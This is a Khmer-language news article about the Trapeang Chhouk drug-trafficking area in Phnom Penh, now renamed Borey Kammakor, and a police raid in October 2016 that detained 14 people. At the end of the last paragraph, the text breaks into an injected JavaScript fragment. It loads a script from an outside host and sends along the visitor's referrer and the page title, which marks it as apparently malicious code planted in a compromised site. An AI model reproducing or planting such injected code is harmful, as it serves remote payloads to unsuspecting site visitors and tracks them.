ប្តូរពីភូមិត្រពាំឈូក ទៅភូមិបុរីកម្មករ តែមិនអាចបោសសំអាតគ្រឿងញៀនបានដដែល?

 ភ្នំពេញ ៖ ទីតាំងចរាចរណ៍គ្រឿងញៀនត្រពាំងឈូកដែលល្បីល្បាញ លើការជួញដូរគ្រឿងញៀនដ៍ធំ ក្នុងរាជធានីភ្នំពេញ ត្រូវបានប្តូរទៅជាភូមិបុរីកម្មករវិញ ទោះបីជាមានផ្លាស់ប្តូរក៍ទីតាំងមួយនេះ នៅតែមានសភាពដូចដើម។
ក្រុមអ្នកញៀនថ្នាំនៅតែបន្តសំរុកមុជក្បាលទៅទិញគ្រឿងញៀនដូចហ្វូងគោសំដៅចូលក្រោល រីឯអ្នកលក់ក៍បន្តលក់កើបលុយ ដោយគ្មានខ្លាចញញឺតសមត្ថកិច្ច ជំនាញ មន្ទីរ សូម្បីតែប៉ុនសសៃសក់។ ជាងនោះទៅទៀតរាល់ការបង្ក្រាបគឺចាប់បានតែអ្នកប្រើប្រាស់ រីឯអ្នកលក់ និងអ្នកផ្តល់ទីតាំងអោយជក់ មានម្ចាស់ផ្ទះជួល កន្លែងផ្ញើរម៉ូតូ នៅតែបន្តប្រមូលលុយយ៉ាងរំភើយ។ ប្រភពបង្ហើបប្រាប់ថា មុនការបង្ក្រាបម្តងៗ មានឈ្លបយកការដើរប្រាប់មុន ជានិច្ច ជាពិសេសទីតាំងហ្គេមបាញ់ត្រីជាង៣០កន្លែង ដែលបើកអោយលេង និងប្រើប្រាស់គ្រឿងញៀនតែម្តង។ ប្រភពបន្តទៀតថា ប្រហែលជាមានរនុកក្នុងបង្កប់ជាមួយកងកម្លាំងសមត្ថកិច្ចទើបបានជាដឹងមុនបែបនេះ។
ជាក់ស្តែងនៅថ្ងៃទី០៥ ខែតុលា ឆ្នាំ២០១៦ ម៉ោង២១និង៤០នាទី កម្លាំងនគរបាលជំនាញរបស់អធិការដ្ឋានខណ្ឌ សែនសុខ និងកំលាំងអន្តរាគមន៍ពិសេសនៃស្នងការដ្ឋាននគរបាលរាធានីភ្នំពេញ បានចុះបង្ក្រាបទីតាំងប្រើប្រើប្រាស់គ្រឿងញៀនភូមិបុរីកម្មករ (ត្រពាំឈូក) ដោយបានឃាត់ខ្លួនមនុស្សចំនួន១៤នាក់ និងដកហូតក្រាម ពណ័ ស០១កញ្ចប់ថង់តូច ព្រមទាំងឧបករណ៍ជក់មួយចំនួន ។ បច្ចុប្បន្នកំពុងឃាត់ខ្លួន និងសាកសួរនៅអធិការដ្ឋានដើម្បីរង់ចាំការធ្វើតេទឹកនោមរកសារជាតិញៀន និងកសាងតាមនិតិវិធី បញ្ជូនទៅសាលាដំបូងរាជធានីភ្នំពេញពេញ៕

ពលរដ្ឋលើកបន្តទៀតថា ម៉េចមិនជួយចាប់អ្នកចែកចាយធំ ឬ មេខ្លោងផង ចាប់តែអ្នកប្រើប្រាស់បែបនេះ ម៉េចនិងអស់ បើមួយថ្ងៃក្រុមអ្នកមករកទិញគ្រឿងញៀនប្រសេកប្រសាច់ត្បុលក្បាលពីគ្រប់ទិសទីទាំងព្រឹក ថ្ងៃត្រង់ ល្ងាច និងថ្មើរណាក៍មានឥតអាក់។s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

អត្ថបទដែលជាប់ទាក់ទង

This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. Accept Read More